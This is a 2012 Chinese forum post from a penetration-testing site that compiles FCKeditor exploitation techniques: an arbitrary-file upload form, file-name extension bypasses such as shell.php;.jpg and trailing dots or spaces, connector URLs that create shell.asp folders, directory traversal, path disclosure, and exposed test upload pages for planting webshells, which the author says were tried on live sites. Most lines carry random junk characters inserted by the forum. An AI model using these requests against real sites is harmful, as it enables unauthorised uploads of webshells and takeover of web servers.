中国网络渗透测试联盟

标题: Fckeditor漏洞 (2) [打印本页]

作者: admin    时间: 2012-9-13 17:01
标题: Fckeditor漏洞 (2)
Fckeditor漏洞利用总结  
9 A' ^6 d' ^. J8 e1 K查看编辑器版本! q- a9 w# {) p/ g3 d. l* s
FCKeditor/_whatsnew.html
5 E( d" C6 Q* E  x7 H$ I  {—————————————————————————————————————————————————————————————
0 Q* C7 n  K4 W8 s( f! |1 l0 {* @4 ]8 }7 {& f' A
2. Version 2.2 版本( c/ [: T& v" k7 y4 x7 ^
Apache+linux 环境下在上传文件后面加个.突破!测试通过。, H4 A& e! f/ Q- L2 a
—————————————————————————————————————————————————————————————
( t6 |/ g4 z1 Q. w& s! N+ k0 d# \8 G5 |* K* j1 ?/ _. a
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
5 m; K: K1 I, Y6 U, c<form id="frmUpload" enctype="multipart/form-data"# ^% b% E# m! f" _
action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>2 Z# i( t- u: n& p0 v/ U6 t
<input type="file" name="NewFile" size="50"><br>
& P& u) H3 ~* T$ L$ y  u' Z<input id="btnUpload" type="submit" value="Upload">: r6 _. k# X& u! _4 \" b
</form>) y0 h* Y# x/ o- C, s
—————————————————————————————————————————————————————————————. _$ ~8 B) O- a7 o' m5 [- A. W
) D) J) j, v6 r+ N0 w) d9 k' M; @
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法- Q. N3 g/ ^( |7 I! x/ h. k# k
        很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
3 p* b! v6 Y4 M2 J! T2 X    4.1:提交shell.php+空格绕过2 \; F* K$ G0 y% S. j% ~: t
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
. \/ ^2 V8 D6 ?9 C% H2 z    4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。! Y: C) \2 G1 J: ^7 p4 T/ O
—————————————————————————————————————————————————————————————
4 ]8 A+ G/ w* T5 [
- N0 f: A8 ]# K5. 突破建立文件夹
! O  @9 {# ?- F% @FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684, v: v4 f* S0 p
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp: p1 b7 v+ B0 O+ Q
—————————————————————————————————————————————————————————————
, ^% G6 X5 a" E3 T1 w
1 i) R3 q. w" y% h1 [& z  P6. FCKeditor 中test 文件的上传地址
' a# U3 |' g6 f# p  v# l! zFCKeditor/editor/filemanager/browser/default/connectors/test.html
9 Y4 h. ]0 _% p8 k& [* c+ pFCKeditor/editor/filemanager/upload/test.html8 t9 K8 t) F" ]# O7 o/ Q
FCKeditor/editor/filemanager/connectors/test.html% F! Z; r/ e$ b7 s6 p
FCKeditor/editor/filemanager/connectors/uploadtest.html
+ S. G9 L% C" t. J/ y—————————————————————————————————————————————————————————————
. I- u( F- Y9 S1 S
$ E! Y, T2 o! N, y2 [9 a7.常用上传地址. {9 w; s9 ?: X9 k- I! U
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
% H/ d* o4 C" A% p7 EFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
/ o. ~) Y9 d* S0 T2 ~% L( F+ _0 t  [FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)$ o& ^/ G$ m$ l, {: @0 _/ V
JSP 版:$ [/ W& r# d, F. t% L7 s
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp, z$ o% y* c1 i- n# V
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
1 E% A) C! w8 P件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
* o9 J5 |, p8 y8 W" Z2 }2 U—————————————————————————————————————————————————————————————, b, ~' G& d8 t2 {) J' @
" Z: r& f( u+ n' l
8.其他上传地址
0 o1 @9 |3 m% o/ tFCKeditor/_samples/default.html+ [8 P# y, Q# z" O9 y  x- F
FCKeditor/_samples/asp/sample01.asp* `3 O; X3 a4 C
FCKeditor/_samples/asp/sample02.asp
8 s/ L! }3 E$ k, r2 Q/ yFCKeditor/_samples/asp/sample03.asp! g( Q+ M* C% n2 J
FCKeditor/_samples/asp/sample04.asp
: L4 W" G4 g  t; L2 M' a一般很多站点都已删除_samples 目录,可以试试。
1 n1 n- A4 i4 f6 F0 k. XFCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。& `0 M& _2 j. q
—————————————————————————————————————————————————————————————
3 }0 c- {# T% M. f/ l2 y( }
: L! {7 C9 x9 `  E9.列目录漏洞也可助找上传地址$ ]. z9 u$ P/ o" F9 J+ E
Version 2.4.1 测试通过: K* X4 |6 _$ _0 B4 z  d) \$ t4 A
修改CurrentFolder 参数使用 ../../来进入不同的目录& R# Z+ D3 V' H0 y, n7 Y' [6 V
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp3 ~& L# {6 Y& l5 J5 q
根据返回的XML 信息可以查看网站所有的目录。5 Y, l. S: q1 s) M- Z2 w9 H3 `
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F6 U. ]& s3 K1 T$ D: A5 Z5 @7 |( B: r
也可以直接浏览盘符:" u+ f( \  n7 T& \9 r3 z* ?
JSP 版本:& B# R" M8 \1 H! u' Q3 D$ ?# }
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
% o5 f6 ]: I1 S2 r' @—————————————————————————————————————————————————————————————5 V& S. O- N! V( h+ v/ K6 O
) U+ g# q7 P; B2 x" n2 c) @4 I
10.爆路径漏洞
4 e. K. L( ~- t* PFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp4 ^9 K* Z8 }3 J+ a) o, h% \
—————————————————————————————————————————————————————————————% ]" H! t6 I) D7 H; g

+ d0 l, z1 w2 B6 X; O11. FCKeditor 被动限制策略所导致的过滤不严问题
, c  ^! \# \6 ?8 M0 J        影响版本: FCKeditor x.x <= FCKeditor v2.4.3) R3 G, `3 d" W3 J
脆弱描述:% Q8 L, {, ]$ e, o# c6 \- z
FCKeditor v2.4.3 中File 类别默认拒绝上传类型:& m: E( _- j8 f* V% B
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
+ `6 f/ O- |1 U( Y* g% nFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!( m9 |0 _- S% K7 q- t
        而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。/ q0 \4 A9 o9 [4 Q, A1 w4 B
        在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!
0 \! w4 F% ]+ f# G$ b) A# S! C—————————————————————————————————————————————————————————————
" ]8 e5 U, n5 K2 I7 A. I; L% |: r
12.最古老的漏洞,Type文件没有限制!
" g: j4 F7 R" c8 o6 V        我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!
. [) P  a. l6 k% W  i—————————————————————————————————————————————————————————————
' H* ]1 `* C$ E
0 H/ g% @3 b; ^+ }. t5 v: y===============================================================================================================================================2 \$ S# Z. x0 j* ^6 C  k3 f

* C7 ]" M* W3 K  H+ h) m7 p. `FCK编辑器jsp版本漏洞:9 Z  F# O( Q. [1 ?  l

& |! S, p& B3 F& p
# P5 n5 t$ i- chttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
4 h/ a" ]9 f4 T0 q9 @/ h0 P
2 `) h& \% F( m( H" E6 L$ C$ V上传马所在目录/ M; Z- j4 \' T" |
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
- U0 I: ]: B8 E' i上传shell的地址:3 v. V" b& \% M) N! `% N% Y
http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector) _* F7 Q# I# G/ |
跟版本有关系.并不是百分百成功. 测试成功几个站.
. O: w+ W/ H  V. F8 i不能通杀.很遗憾.
& b( D+ B' G+ n( ^http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector# t6 F5 K0 r+ C8 M) H
如果以上地址不行可以试试
1 R+ M9 B( }4 o; H* hFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
: ?+ W. \3 X" `& ~( wFCKeditor/_samples/
' s) y! k+ k  u  W) {+ S) e; vFCKeditor/_samples/default.html
+ i( ^: @$ ]/ fFCKeditor/editor/fckeditor.htm
$ a3 d: f! h8 A' W- V+ XFCKeditor/editor/fckdialog.html
  i4 s/ c8 l4 z3 ~$ C) |3 n+ b" P. E5 N; D6 @( j% ~
* f0 M2 n4 E! O) F4 j( y
$ V8 `* C9 }+ Q. `8 u* k- N
解析漏洞+未重命名文件时上传漏洞  1.asp;jpg
6 `  H6 t! Y; w% e2 [( T: }" E- B7 d




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2